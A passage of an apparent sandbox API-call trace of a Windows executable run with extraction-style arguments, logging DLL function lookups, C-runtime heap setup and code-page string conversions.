(lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0056.994] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0056.994] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0056.994] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0056.994] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0056.994] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0056.995] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0056.995] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0056.995] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0056.995] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0056.995] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0056.995] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0056.995] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0056.995] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0056.995] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0056.995] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0056.995] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0056.995] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0056.995] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0056.995] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0056.996] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0056.996] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0056.996] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0056.996] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0056.996] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0056.996] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0056.996] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0056.996] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0056.996] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0056.996] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0056.996] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0056.996] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0056.996] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0056.996] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0056.997] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0056.997] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0056.997] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0057.007] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0057.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xca7de240, dwHighDateTime=0x1d5d06a)) [0057.007] GetCurrentThreadId () returned 0x114 [0057.007] GetCurrentProcessId () returned 0xbb0 [0057.007] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=19895965907) returned 1 [0057.008] GetProcessHeap () returned 0x5d0000 [0057.008] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0057.008] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0057.008] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0057.008] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0057.008] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0057.008] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0057.009] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0057.009] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0057.009] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0057.009] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0057.009] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0057.009] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0057.009] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0057.009] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0057.009] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0057.009] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0057.009] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0057.009] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0057.009] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0057.009] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0057.010] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0057.010] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0057.010] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0057.010] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0057.010] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0057.010] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0057.010] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0057.010] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0057.010] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0057.010] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0057.010] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0057.010] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0057.010] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0057.010] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0057.011] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3bc) returned 0x5e70b0 [0057.011] GetCurrentThreadId () returned 0x114 [0057.011] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x18) returned 0x5e7478 [0057.011] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x800) returned 0x5e7498 [0057.011] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0x6a4c60e5, hStdError=0x0)) [0057.011] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0057.011] GetFileType (hFile=0x3) returned 0x2 [0057.315] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0057.315] GetFileType (hFile=0x7) returned 0x2 [0057.316] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0057.316] GetFileType (hFile=0xb) returned 0x2 [0057.316] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" [0057.316] GetEnvironmentStringsW () returned 0x5e7ca0* [0057.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb8c) returned 0x5e8838 [0057.317] FreeEnvironmentStringsW (penv=0x5e7ca0) returned 1 [0057.317] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x94) returned 0x5e7ca0 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xa0) returned 0x5e7d40 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3e) returned 0x5e4de0 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x6c) returned 0x5e7de8 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x6e) returned 0x5e7e60 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x78) returned 0x5df910 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x62) returned 0x5e7ed8 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x2e) returned 0x5e7f48 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x48) returned 0x5e7f80 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x30) returned 0x5e7fd0 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x28) returned 0x5e8008 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1a) returned 0x5e6a80 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x4a) returned 0x5e8038 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x72) returned 0x5df990 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x30) returned 0x5e8090 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x2e) returned 0x5e80c8 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1c) returned 0x5e6aa8 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xd2) returned 0x5e8100 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x7c) returned 0x5e81e0 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x36) returned 0x5e8268 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3a) returned 0x5e4e28 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x90) returned 0x5e82a8 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x24) returned 0x5e8340 [0057.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x30) returned 0x5e8370 [0057.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x36) returned 0x5e83a8 [0057.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x48) returned 0x5e83e8 [0057.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x52) returned 0x5e8438 [0057.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3c) returned 0x5e4e70 [0057.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5e8498 [0057.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x82) returned 0x5e84b8 [0057.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x2e) returned 0x5e8548 [0057.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1e) returned 0x5e6ad0 [0057.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x2c) returned 0x5e8580 [0057.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x54) returned 0x5e85b8 [0057.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x52) returned 0x5e8618 [0057.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x2a) returned 0x5e8678 [0057.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3c) returned 0x5e4eb8 [0057.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x54) returned 0x5e86b0 [0057.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x24) returned 0x5e8710 [0057.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x30) returned 0x5e8740 [0057.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x8c) returned 0x5e8778 [0057.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e8838 | out: hHeap=0x5d0000) returned 1 [0057.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x800) returned 0x5e8810 [0057.319] GetLastError () returned 0x0 [0057.319] SetLastError (dwErrCode=0x0) [0057.319] GetLastError () returned 0x0 [0057.319] SetLastError (dwErrCode=0x0) [0057.319] GetLastError () returned 0x0 [0057.319] SetLastError (dwErrCode=0x0) [0057.319] GetACP () returned 0x4e4 [0057.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x220) returned 0x5e9018 [0057.319] GetLastError () returned 0x0 [0057.319] SetLastError (dwErrCode=0x0) [0057.319] IsValidCodePage (CodePage=0x4e4) returned 1 [0057.319] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0057.319] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0057.319] GetLastError () returned 0x0 [0057.319] SetLastError (dwErrCode=0x0) [0057.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0057.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0057.319] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0057.319] GetLastError () returned 0x0 [0057.319] SetLastError (dwErrCode=0x0) [0057.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0057.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0057.319] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0057.319] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0057.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿuaLjäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0057.320] GetLastError () returned 0x0 [0057.320] SetLastError (dwErrCode=0x0) [0057.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0057.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0057.320] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0057.320] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0057.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ 